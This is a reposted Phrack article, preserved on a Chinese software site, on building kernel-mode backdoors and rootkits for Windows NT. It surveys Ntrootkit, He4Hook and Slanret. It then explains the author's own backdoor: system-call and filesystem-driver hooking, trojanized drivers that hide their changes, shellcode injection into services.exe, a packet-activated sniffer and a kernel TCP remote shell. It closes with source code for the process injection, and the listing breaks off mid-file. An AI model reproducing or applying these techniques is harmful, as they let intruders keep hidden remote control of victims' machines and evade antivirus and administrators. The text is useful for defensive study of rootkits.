|
|
Phrack最新公布的内核态RootKit的技术细节 |
|
|
作者:未知 来源:月光软件站 加入时间:2005-5-13 月光软件站 |
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10
|=---------------=[ Kernel-mode backdoors for Windows NT
]=--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ firew0rker <[email protected]>
]=----------------=| |=----------------=[ the nobodies
<http://www.nteam.ru> ]=---------------=|
--[ Table of contents
1 - PREFACE
2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR
WINDOWS NT 2.1 - NTROOTKIT 2.2 - HE4HOOK 2.3 - SLANRET (IERK,
BACKDOOR-ALI)
3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY
4
- MY VARIANT: THORNY PATH 4.1 - SHELL 4.2 - ACTIVATION AND COMMUNICATION
WITH REMOTE CLIENT 4.3 - OBSCURITY ON DISK
5 - CONCLUSION 6 -
EPILOGUE 7 - LIST OF USED SOURCES 8 - FILES
--[ 1 - Preface
This article is intended for those who know the architecture of the
Windows NT kernel and the principles of operation of NT drivers. This
article examines issues involved in the development of kernel-mode tools
for stealthy remote administration of Windows NT.
Recently there has
been a tendency of extending the use of Windows NT (2000, XP, 2003) from
it's classical stronghold as home and office OS to servers. At the same
time, the outdated Windows 9x family is replaced by the NT family. Because
of this it should be evident that remote administration tools (backdoors)
and unnoticeable access tools (rootkits) for the NT family have a certain
value. Most of the published utilities work in user-mode and can thus be
detected by Antivirus tools or by manual inspection.
It's quite
another matter those works in kernel-mode: They can hide from any user-mode
program. Antivirus software will have to suplly kernel- mode components in
order to detect a kernel-mode-backdoor. Software exists that protects
against such backdoors (such as IPD, "Integrity Protection Driver"), but
it's use is not widely spread. Kernel mode backdoors are not as widely used
as they could be due to their relative complexity in comp- arison with
user-mode backdoors.
--[ 2 - Overview of existing Kernel-Mode backdoors
for Windows NT
This section briefly reviews existing kernel-mode
backdoors for Windows NT.
----[ 2.1 - Ntrootkit
Ntrootkit
(c) by Greg Hoglund and a team of free developers [1] is a device driver for
Windows NT 4.0 and 2000. It's possibilities (implemented and potential):
- Receiving commands from a remote client. The rk_packet module contains
a simplified IP-stack, which uses free IP-address from the subnet where
the host on which Ntrootkit has been installed is situated.
It's MAC
and IP addresses are hardcoded in the source. Connection with the rootkit at
that IP is carried out via a TCP connection to any port. The available
commands in rk_command.c are:
ps - list processes help - self
explainatory buffertest, echo and debugint - for debugging purpose
hidedir - hide directory/file hideproc - hide process(es) sniffkeys
- keyboard spy
There are also imcomplete pieces of code: Execute
commands received via a covert channel and starting a Win32-process from a
driver (a hard and complicated task).
- Encrypt all traffic using
Schneier's Blowfish algorithm: rk_blowfish.c is present, but not (yet ?)
used
- Self-defense (rk_defense.c) - hide protected objects (in this
case: registry keys), identified by the string "_root_"; redirect
launched processes.
The hiding of processes, directories and files
as implemented in rk_ioman.c is done through hooking the following
functions:
NtCreateFile ZwOpenFile ZwQueryDirectoryFile
ZwOpenKey ZwQueryKey ZwQueryValueKey ZwEnumerateValueKey
ZwEnumerateKey ZwSetValueKey ZwCreateKey
The way to detect
this rootkit:
Make direct request to filesystem driver, send IRP to it.
There is one more module that hooks file handling: rk_files.c, adopted from
filemon, but it is not used.
- Starting processes: An unfinished
implementation of it can be found in rk_command.c, another one (which is
almost complete and good) is in rk_exec.c
The implementation suffers
from the fact that Zw* functions which are normally unavailable to drivers
directly are called through the system call interface (int 0x2E), leading to
problems with different versions of the NT family as system call numbers
change.
It seems like the work on Ntrootkit is very loosely coordinated:
every developer does what (s)he considers needed or urgent. Ntrootkit does
not achieve complete (or sufficient) invisibility. It creates device
named "Ntroot", visible from User-Mode.
When using Ntrootkit for
anything practical, one will need some means of interaction with the
rootkitted system. Shortly: There will be the need for some sort of shell.
Ntrootkit itself can not give out a shell directly, although it can start a
process -- the downside is that the I/O of that process can not be
redirected. One is thus forced to start something like netcat. It's process
can be hidden, but it's TCP-connection will be visible. The missing
redirection of I/O is a big drawback.
However, Ntrootkit development is
still in progress, and it will probably become a fully-functional tool for
complete and stealthy remote administration.
----[ 2.2 - He4Hook
This description is based on [2]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was
removed.
Method A: hook kernel syscalls:
===============================
ZwCreateFile, ZwOpenFile - driver
version 1.12 and from 1.17 to 2.15beta6 IoCreateFile - from 1.13 to
2.15beta6 ZwQueryDirectoryFile, ZwClose - before 2.15beta6
Almost
all these exported functions (Zw*) have the following function body: mov
eax, NumberFunction lea edx, [esp+04h] int 2eh ; Syscall interface
The "NumberFunction" is the number of the called function in the
syscalls table (which itself can be accessed via the global variable
KeServiceDescriptorTable). This variable points to following structure:
typedef struct SystemServiceDescriptorTable { SSD
SystemServiceDescriptors[4]; } SSDT, *LPSSDT;
Other structures:
typedef VOID *SSTAT[]; typedef unsigned char SSTPT[]; typedef
SSTAT *LPSSTAT; typedef SSTPT *LPSSTPT;
typedef struct
SystemServiceDescriptor { LPSSTAT lpSystemServiceTableAddressTable;
ULONG dwFirstServiceIndex; ULONG dwSystemServiceTableNumEntries;
LPSSTPT lpSystemServiceTableParameterTable; } SSD, *LPSSD;
The
DescriptorTable pointed to by KeServiceDescriptorTable is only accessible
from kernel mode. In User-Mode, there is something called
KeServiceDescriptorTableShadow -- unfortunately it is not exported.
Base services are in
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
KernelMode GUI services are in
KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]
Other
elements of that tables were free at moment when [2] was written, in all
versions up to WinNt4(SP3-6) and Win2k build 2195. Each element of the table
is a SSID structure, which contains the following data:
lpSystemServiceTableAddressTable - A pointer to an array of addresses
of functions that will be called if a matching syscall is called
dwFirstServiceIndex - Start index for the first function
dwSystemServiceTableNumEntries - Number of services in table
lpSystemServiceTableParameterTable - An array of bytes specifying the
number of bytes from the stack that will be passed through
In
order to hook a system call, He4HookInv replaces the address stored in
KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn
with a pointer to it's own table.
One can interface with He4HookInv
by adding your own services to the system call tables. He4HookInv updates
both tables:
- KeServiceDescriptorTable -
KeServiceDescriptorTableShadow.
Otherwise, if it updated only
KeServiceDescriptorTable, new services would be unavailable from UserMode.
To locate KeServiceDescriptorTable- Shadow the following technique is used:
The function KeAddSystemServiceTable can be used to add services to the
kernel. It can add services to both tables. Taking into account that its
0-th descriptor is identical, it's possible, by scanning
KeAddSystemServiceTable function's code, to find the address of the shadow
table. You can see how it is done in file He4HookInv.c, function
FindShadowTable(void).
If this method fails for some reason, a
hardcoded address is taken (KeServiceDescriptorTable-0x230) as location of
the shadow table. This address has not changed since WinNT Sp3. Another
problem is the search for the correct index into the function address array.
As almost all Zw* functions have an identical first instruction (mov eax,
NumberFunction), one can get a pointer to the function number easily by
adding one byte to the address exported by ntoskrnl.exe
Method B:
(for driver versions 2.11 and higher)
===============================================
The callback tables
located in the DRIVER_OBJECT of the file system drivers are patched: The IRP
handlers of the needed drivers are replaced. This includes replacing the
pointers to base function handlers (DRIVER_OBJECT->MajorFunction) as well
as replacing pointers to the drivers unload procedure
(DRIVER_OBJECT->DriverUnload).
The following functions are handled:
IRP_MJ_CREATE IRP_MJ_CREATE_NAMED_PIPE IRP_MJ_CREATE_MAILSLOT
IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY
For a more
detailed description of the redirection of file operations refer to the
source [2].
----[ 2.3 - Slanret (IERK, Backdoor-ALI)
The source
code for this is unavailable -- it was originally disco- vered by some
administrator on his network. It is a normal driver ("ierk8243.sys") which
periodically causes BSODs, and is visible as a service called "Virtual
Memory Manager".
"Slanret is technically just one component of a
root kit. It comes with a straightforward backdoor program: a 27
kilobyte server called "Krei" that listens on an open port and grants the
hacker remote access to the system. The Slanret component is a seven
kilobyte cloaking routine that burrows into the system as a device driver,
then accepts commands from the server instructing it on what files or
processes to conceal." [3]
----[ 3. Stealth on disk, in registry and
in memory
The lower the I/O interception in a rootkit is performed, the
harder it usually is to detect it's presence. One would think that a
reliable place for interception would be the low-level disk operations
(read/write sectors). This would require handling all filesystems that might
be on the hard disk though: FAT16, FAT32, NTFS.
While FAT was
relatively easy to deal with (and some old DOS stealth viruses used similar
techniques) an implementation of something similar on WinNT is a task for
maniacs.
A second place to hook would be hooking dispatch functions of
file- system drivers: Patch DriverObject->MajorFunction and
FastIoDispatch in memory or patch the drivers on disk. This has the
advantage of being re- latively universal and is the method used in
HE4HookInv.
A third possibility is setting a filter on a filesyste
driver (FSD). This has no advantages in comparison with the previous method,
but has the drawback of being more visible (Filemon uses this approach). The
functions Zw*, Io* can then be hooked either by manipulating the Ke-
ServiceDescriptorTable or directly patching the function body. It is
usually quite easy to detect that pointers in KeServiceDescriptorTable
point to strange locations or that the function body of a function has
changed. A filter driver is also easy to detect by calling IoGetDevice-
ObjectPointer and then checking DEVICE_OBJECT->StackSize.
All
normal drivers have their own keys in the registry, namely in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.
The
abovementioned rootkits can hide registry keys, but obviously, if the system
is booted "cleanly", an administrator can see anything that was hidden. One
can also load a rootkit using ZwSetSystemInformation(
SystemLoadAndCallimage) without the need to create any registry keys. An
example of this technique can be found in [6].
A rootkit loader in a
separate file is too unstealthy. It might be a smarter move to patch that
call into some executable file which is part of the system boot. One can use
any driver or user-mode program that works with sufficient privileges, or
any DLL linked to by it. One has to ask one question though: If the newly
introduced changes need to be hidden anyway, why make two similar but
differing procedures (for hiding changes to a file as well as hiding the
existance of a file) instead of limiting our- selves to one ?
In
most cases one can target null.sys. Implementing it's functionality is as
easy as "hello world", and that is why it is usually replaced with a trojan.
But if we are going to have a procedure for hiding changes to a file, we can
replace ANY driver with a trojan that will substitute the content of the
replaced file with the original content to everyone (incl- uding the
kernel). Upon startup, it will copy itself to some allocated memory area and
start a thread there.
This will make the trojan almost unnoticeable in
memory: No system utility can see the driver any more, as it is just an
anonymous memory page amongst many. We do not even need a thread, using
intercepted IRP dispatch functions of some driver
(DriverObject->MajorFunction[IRP_MJ_xxx]). We can also use
IoQueueWorkItem and KeInsertQueueDpc, so no additional threads in SYSTEM
will be visible in the task manager. After this is done the trojan can
unload the driver it was started from, and reload it in a clean (unchanged)
variant. As a result, high levels of stealth will be achieved by relatively
simple means. The original content of the manipu- lated file could for
example be stored in the trojan's file after the trojan itself.
It
will then be sufficient to hook all FSD requests (IRP and FastIO) and upon
access change the position (and size of the file).
(CurrentIrpStackLocation->Parameters.*.ByteOffset)
--[ 4 - My
variant: The thorny path
----[ 4.1 - Shell
I originally intended
to do something similarily simple as standard user-mode code: Just pass a
socket handle for stdin/stdout/stderr to the newly created cmd.exe process.
I did not find a way to open a useful socket from a driver though, as the
interface with the AFD driver (kmode core of winsock) is undocumented.
Reverse-engineering it's usage was not an option either as due to changes
between versions my technique would be unreliable. I had to find a different
way.
First variant =============
We could start our code in
the context of some process, using a shell- code quite similar to that used
in exploits. The code could wait for a TCP connection and start cmd.exe with
redirected I/O.
I chose this way when I tired of trying to start a
full-fledged win32 process from a driver. The shellcode is
position-independent, searches for kernel32.dll in memory and loads the
winsock library. All that needs to be done is injecting the shellcode into
the address space of a process and pass control to the entry point of the
shellcode. However, in the process of doing this the normal work of the
process must not be interrupted, be- cause a failure in a critical system
process will lead to a failure of the whole system.
So we need to
allocate memory, write shellcode there, and create a thread with EIP = entry
point of the shellcode. Code to do this can be found in the attached file
shell.cpp. Unfortunately, when CreateProcess is called from the thread
started in this way it failed, most probably because something that
CreateProcess relies upon was not initialized pro- poerly in the context of
our thread. We thus need to call CreateProcess from a thread context which
has everything that CreateProcess needs ini- tialized -- we're going to take
a thread which belongs to the process we are intruding into (I used
SetThreadContext for that). One needs to re- store the state of the thread
prior to the interruption so it can contiue it's normal operation.
So we need to: Save thread context via GetThreadContext, set the EIP
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode
for Windows NT (full code in dummy4.asm).
One unsolved problem
remains: If the thread is in waiting state, it will not run until it wakes
up. Using ZwAlertThread does not yield any re- sult if the thread is in a
nonalertable wait state. Fortunately, the thread in services.exe worked
without a problem -- this does not imply it will stay like this in the
future though, so I continued my research:
Second variant
==============
Things are not as easy as [4] makes them sound.
Creating a full- fledged win32-process requires it's registration in the
CSRSS subsystem. This is accomplished by using CsrClientCallServer(), which
receives all necessary information about the process (handles, TID, PID,
flags). The functions calls ZwRequestWaitReplyPort, which receives a handle
of a pre- viously opened port for connection with CSRSS.
This port
is not open in the SYSTEM process context. Opening it never succeeded
(ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play- ing with
SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling ntdll.dll I saw
that ZwConnectPort calls were preceded by ZwCreateSection. But there was no
time and no desire to play with sections. Here is the code that didn't work:
VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid)
{ CSRMSG csrmsg; HANDLE hCurProcess; HANDLE handleIndex;
PVOID p;
_asm int 3;
UNICODE_STRING PortName;
RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort"); static
SECURITY_QUALITY_OF_SERVICE QoS = {sizeof(QoS), SecurityAnonymous, 0, 0};
/*static SECURITY_QUALITY_OF_SERVICE QoS = {0x77DC0260,
(_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/ DWORD
ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,
NULL,NULL,NULL,NULL);
if (!ret) {
RtlZeroMemory(&csrmsg,sizeof(CSRMSG));
csrmsg.ProcessInformation.hProcess=hProcess;
csrmsg.ProcessInformation.hThread=hThread;
csrmsg.ProcessInformation.dwProcessId=pid;
csrmsg.ProcessInformation.dwThreadId=tid;
csrmsg.PortMessage.MessageSize=0x4c;
csrmsg.PortMessage.DataSize=0x34;
csrmsg.CsrssMessage.Opcode=0x10000;
ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg,
(PORT_MESSAGE*)&csrmsg); } }
The solution to the problem
was obvious; Switch context to one in which the port is open, e.g. to the
context of any win32-process. I inser- ted KeAttachProcess(HelperProcess)
before calling Nebbet's InformCsrss, and KeDetachProcess afterwards. The
role of the HelperProcess was taken by calc.exe.
When I tried using
KeAttachProcess that way I failed though: The con- text was switched
(visible using the proc command in SoftICE), but Csr- ClientCallServer
returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows what was happening
inside CSRSS.
When trying to frame the whole process creation function
into KeAttachProcess/KeDetachProcess led to the following error when calling
ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode
exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".
A
different way to execute my code in the context of an arbitrary process is
APC. The APC may be kmode or user-mode. As long as only kmode APC may
overcome nonalertable wait state, all code for process creation must be done
in kernel mode. Nebbet's code normally works at IRQL == APC_LEVEL Code
execution in the context of a given win32-process by means of APC is
implemented in the StartShell() function, in file ShellAPC.cpp.
Interaction with the process =============================
Starting a process isn't all. The Backdoor still needs to communicate
with it: It is necessary to redirect it's stdin/stdout/stderr to our
driver. We could do this like most "driver+app"-systems: Create a device
that is visible from user-mode, open it using ZwOpenFile and pass the
handle to the starting process (stdin/stdout/stderr). But a named device
is not stealthy, even if we automatically create a random names. This is
why I have chosen to use named pipes instead.
Windows NT uses named
pipes with names like Win32Pipes.%08x.%08x (here %08x is random 8-digit
numbers) for emulation of anonymous pipes. If we create one more such pipe,
nobody will notice. Usually, one uses 2 anon- ymous pipes r redirecting I/O
of a console application in Win32, but when using a named pipe one will be
sufficient as it is bi-directional. The driver must create a bi-directional
named pipe, and cmd.exe must use it's handle as stdin/stdout/stderr.
The handle can be opened in both kmode and user-mode. The final ver-
sion uses the first variant, but I have also experimented with the second
variant -- being able to implement different variants may help evade anti-
viruses. Starting a process with redirected I/O has been completely imple-
mented in kernel mode in the file NebbetCreateProcess.cpp.
There are
two main differences between my and Nebbet's code: The fun- ctions that are
not exported from ntoskrnl.exe but from ntdll, are dyn- amically imported
(see NtdllDynamicLoader.cpp). The handle to the named pipe is opened with
ZwOpenFile() and passed to the starting process with ZwDuplicateObject with
DUPLICATE_CLOSE_SOURCE flag.
For opening the named pipe from user mode I
inject code into a start- ing process. I attached the patch
(NebbetCreateProcess.diff) for edu- cational purposes. It adds a code
snippet to a starting process. The patch writes code (generated by a C++
compiler) to a process's stack. For independence that code is a function
which accepts a pointer to a struc- ture containing all the necessary data
(API addresses etc) as parameter. This structure and a pointer to it are
written to the stack together with the code of the function itself. ESP of
the starting thread is set 4 bytes bellow the pointer to the parameters of
the function, and EIP to it's en- try point. Once the injected code is done
executing, it issues a CALL back to the original entry point. This example
can be modified to be yet another way of injecting code into a working
userland process from kernel mode.
---[ 4.2 - Activation and
communication with the remote client
If a listening socket is
permanently open (and visible to netstat -an) it is likely to be discovered.
Even if one hides the socket from netstat is insufficient as a simple
portscan could uncover the port. To remain stealthy a backdoor must not have
any open ports visible locally or re- motely. It is necessary to use a
special packet, which on the one hand must be unambigously identified by the
backdoor as activation signal, yet at the same time must not be so
suspicious as to trigger alerts or be fil- tered by firewalls. The
activation signal could e.g. be a packet contain- ing a set of packets at
any place (header or data) -- all characteristics of the packet (protocol,
port etc) should be ignored. This allows for max- imum flexibility to avoid
aggressive packet filters.
Obviously, we have to implement some sort of
sniffer in order to detect such a special packet. In practice, we have
several choices on how to implement the sniffer:
1) NDIS protocol driver (advantage: possibility not only to receive packets,
but also to send - thus making covert channel for communication with remote
client possible; disadvantage: difficulties with supporting all types of
network devices) - applied in ntrootkit;
2) use service provided by
IpFilterDriver on w2k and higher (advantages: simple implementation and
complete independence from physical layer; disadvantage: receive only);
3) setup filter on 1 of network drivers, through which packets pass
through (see [5]);
4) direct appeal to network drivers by some other
means for receive and send packets (advantage: can do everything;
disadvantage: unexplored area).
I have chosen variant 2 due to it's
simplicity and convenience for both described variants of starting a shell.
IpFilterDriver used only for activation, further connection is made via TCP
by means of TDI.
An example of the usage of IpFilterDriver can be seen
in Filtering.cpp and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver
if it isn't yet loaded. Then it calls SetupFiltering, which sets a filter
with IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on
each IP packet. If a keyword is detected StartShellEvent is set and causes
a shell to be started.
The variant using shellcode in an existing
process works with the network in user-mode, thus we do not need to describe
anything in detail.
A Kernel-mode TCP shell is implemented in
NtBackd00r.cpp. When cmd.exe is started from a driver with redirected I/O,
the link is maintained by the driver. I took the tcpecho example as base for
the communitcation mod- ule in order not to waste time coding a TDI-client
from scratch. DriverEntry() initialises TDI, creates a listening socket and
an unnamed device for IoQueueWorkItem.
For each conenction an
instance of the Session class is created. In it's OnConnect handler a
sequence of operations for creating a process. process. As long as this
handler is called at IRQL==DISPATCH_LEVEL, it's impossible to do all
necessary operations directly in it. It's even impossible to start a thread
because PsCreateSystemThread must be called only at PASSIVE_LEVEL according
to the DDK. Therefore the OnConnect handler calls IoAllocateWorkItem and
IoQueueWorkItem in order to do any further operations accomplished in
WorkItem handler (ShellStarter function) at PASSIVE_LEVEL.
ShellStarter calls StartShell() and creates a worker thread
(DataPumpThread) and 2 events for notifying it about arriving packets and
named pipe I/O completion. Interaction between the WorkItem/thread and
Session class was built with taking a possible sudden disconnect and
freeing Session into account: syncronisation is accomplished by disabling
interrupts (it's equivalent of raise IRQL to highest) and by means of
DriverStudio classes (SpinLock inside). The Thread uses a copy of some
data that must be available even after instance of Session was deleted.
Initially, DataPumpThread starts one asynchronous read operation
(ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's
completion. The other event hPipeEvents[0] notifies about data arrival
from the network. After that ZwWaitForMultipleObjects executed in a loop
waits for one of these events. In dependence of what event was signaled,
the thread does a read from the named pipe and sends data to client, or
does a read read from FIFO and writes to pipe. If the Terminating flag
is set, thread closes all handles, terminates the cmd.exe process, and
then terminates itself. Data arrival is signaled by the hPipeEvents[0]
event in Session::OnReceive and Session::OnReceiveComplete handlers. It
also used in conjunction with the Terminating flag to notify the thread
about termination.
Data resceived from the network is buffered in
pWBytePipe FIFO. DataPumpThread reads data from the FIFO to temporary
buffers which are allocated for each I/O operation and writes data
asynchronously to the pipe (ZwWriteFile). The buffers are freed
asynchronously in the ApcCallback- WriteComplete handler.
Data
transfers from the pipe to the network are also accomplished through
temporary buffers that are allocated before ZwReadFile and freed in
Session::OnSendComplete.
Paths of data streams and temporary buffers
handling algorithm:
NamedPipe -(new send_buf; ZwReadFile)-> temporary
buffer
send_buf -(send)-> Network -> OnSendComplete{delete
send_buf}
Network -(OnReceive)-> pWBytePipe -(new rcv_buf)->
temporary
buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
ApcCallbackWriteComplete{delete rcv_buf}
In Session::OnReceive
handler data is written to the FIFO and the DataPumpThread is notified about
it's arrival. If the transport has more data available than indicated
another buffer is allocated to read the rest. When the transport is done -
asynchronously - OnReceiveComplete() handler is called, which does the same
as OnReceive.
----[ 4.3 - Stealth on disk
I've implemented
simple demo module (file Intercept.cpp) which hooks dispatch functions of a
given filesystem diver to hide the first N bytes of a given file. To hook
FSD call e.g. Intercept(L"\\FileSystem\\Fastfat"). There is only 2 FSDs that
may be necessary to hook: Fastfat ant Ntfs, because NT can boot from these
filesystems.
Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...],
pDriverObject->FastIoDispatch->...).
When hooked driver handles
IRPs and FastIo calls the corresponding hook functions modifies file size
and current file offset. Thus all user-mode programs see file N bytes
smaller than original, containing bytes N to last. It allows to implement
trick described in part 3.
--[ 5 - Conclusion
In this article I
compared 3 existing Kernel-Mode backdoors for Windows NT from a programmers
point of view, presented some ideas on making a backdoor stealthier as well
as my thorny path of writing my own Kernel- Mode backdoor.
What we
did not describe was a method of hiding open sockets and TCP connections
from utilities such as netstat and fport. Netstat uses SnmpUtilOidCpy(), and
fport talks directly with drivers (\Device\Udp and \Device\Tcp). To hide
something from these and all similar tools, it's necessary to hook
aforementioned drivers with one of methods mentioned in section "Stealth on
disk, in registry and in memory". I did not explore that issue yet.
Probably, its consideration deserves a separate article. Advice for those
who decided to move this direction: begin with the study of IpLog sources
[5].
--[ 6 - Epilogue
When/if this article will be published in
Phrack, the article itself (probably improved and supplemented), its Russian
original, and full code of all used examples will be published at our site
http://www.nteam.ru
--[ 7 - List of used sources
1.
http://rootkit.com 2. "LKM-attack on WinNT/Win2k"
http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/ 3. "Windows
Root Kits a Stealthy Threat" http://www.securityfocus.com/news/2879 4.
Garry Nebbet. Windows NT/2000 native API reference. 5. "IP logger for
WinNT/Win2k" http://195.19.33.68/He4ProjectRepositary/IpLog/
--[ 8 -
Files
----[ 8.1 - Shell.CPP
#include "ntdll.h" #include
"DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h"
#if (DBG)
#define dbgbkpt __asm int 3 #else #define dbgbkpt #endif
const StackReserve=0x00100000; const StackCommit= 0x00001000;
extern BOOLEAN Terminating;
extern "C" char shellcode[]; extern
"C" const CLID_addr; extern "C" int const sizeof_shellcode;
namespace NT { typedef struct _SYSTEM_PROCESSES_NT4 { // Information
Class 5 ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6];
LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER
KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority;
ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount;
ULONG Reserved2[2]; VM_COUNTERS VmCounters; SYSTEM_THREADS
Threads[1]; } SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; }
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) {
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF;
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
while (NT::ZwQuerySystemInformation(
NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) {
NT::ExFreePool(q); n*=2; q = (PULONG)NT::ExAllocatePool
(NT::NonPagedPool,n*sizeof(*q)); }
ULONG MajorVersion;
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); BOOL
found=0; char** pp=(char**)&p; do { if
((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
(&p->ProcessName,&ProcessName,TRUE))) { if
(MajorVersion<=4) *ClientId =
((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId =
p->Threads[0].ClientId; found=1; break; } if
(!(p->NextEntryDelta)) break; *pp+=p->NextEntryDelta; } while(1);
NT::ExFreePool(q); return found; }
VOID StartShell()
{ //Search ntdll.dll in memory PVOID pNTDLL=FindNT();
//Dynamicaly link to functions not exported by ntoskrnl, //but exported
by ntdll.dll DYNAMIC_LOAD(ZwWriteVirtualMemory)
DYNAMIC_LOAD(ZwProtectVirtualMemory) DYNAMIC_LOAD(ZwResumeThread)
DYNAMIC_LOAD(ZwCreateThread) HANDLE hProcess=0,hThread; //Debug
breakpoint dbgbkpt; NT::CLIENT_ID clid; //Code must be embedded into
thread, which not in nonalertable wait state. //Such thread is in process
services.exe, let's find it
if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
return;}; NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES),
0,NULL, OBJ_CASE_INSENSITIVE}; //Open process - get it's descriptor
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt; return;}; /*NT::PROCESS_BASIC_INFORMATION
pi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pi, sizeof(pi), NULL);*/ ULONG n = sizeof_shellcode; PVOID p = 0;
PVOID EntryPoint;
//Create code segment - allocate memory into
process context NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!p) {dbgbkpt; return;};
//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
//Write process and thread ID into shellcode, it will be needed for
//further operations with that thread
*((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
//Write shellcode to allocated memory ZwWriteVirtualMemory(hProcess, p,
shellcode, sizeof_shellcode, 0); //Entry point is at the beginning of
shellcode EntryPoint = p;
//Create stack segment NT::USER_STACK
stack = {0}; n = StackReserve; NT::ZwAllocateVirtualMemory(hProcess,
&stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE);
if (!stack.ExpandableStackBottom) {dbgbkpt; return;};
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) +
StackReserve; stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- StackCommit; n = StackCommit + PAGE_SIZE; p =
PCHAR(stack.ExpandableStackBase) - n; //Create guard page
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT,
PAGE_READWRITE); ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n, PAGE_READWRITE |
PAGE_GUARD, &x); //Initialize new thread context //similar to it's
initialization by system NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20;
context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18;
context.EFlags = 0x3000; context.Esp = ULONG(stack.ExpandableStackBase)
- 4; context.Eip = ULONG(EntryPoint); NT::CLIENT_ID cid;
//Create and start thread ZwCreateThread(&hThread,
THREAD_ALL_ACCESS, &attr, hProcess, &cid, &context, &stack,
TRUE);
//Here i tried to make thread alertable. The try failed.
/*HANDLE hTargetThread; NT::ZwOpenThread(&hTargetThread,
THREAD_ALL_ACCESS, &attr, &clid); PVOID ThreadObj;
NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL,
NT::KernelMode, &ThreadObj, NULL); *((unsigned char
*)ThreadObj+0x4a)=1;*/
ZwResumeThread(hThread, 0); }
VOID ShellStarter(VOID* StartShellEvent) { do if
(NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS)
if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
while (1); }
----[ 8.2 - ShellAPC.cpp
#include
<stdio.h> #include "ntdll.h" #include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h" #include "NebbetCreateProcess.h"
//Debug macro #if (DBG) #define dbgbkpt __asm int 3 #else
#define dbgbkpt #endif
//Flag guarantees that thread certainly
will execute APC regardless of //it's state #define
SPECIAL_KERNEL_MODE_APC 2
namespace NT { extern "C" { //
Definitions for Windows NT-supplied APC routines. // These are exported in
the import libraries, // but are not in NTDDK.H void
KeInitializeApc(PKAPC Apc, PKTHREAD Thread, CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID
NormalContext);
void KeInsertQueueApc(PKAPC Apc, PVOID
SystemArgument1, PVOID SystemArgument2, UCHAR unknown); } }
//Variant of structure SYSTEM_PROCESSES for NT4 namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5 ULONG
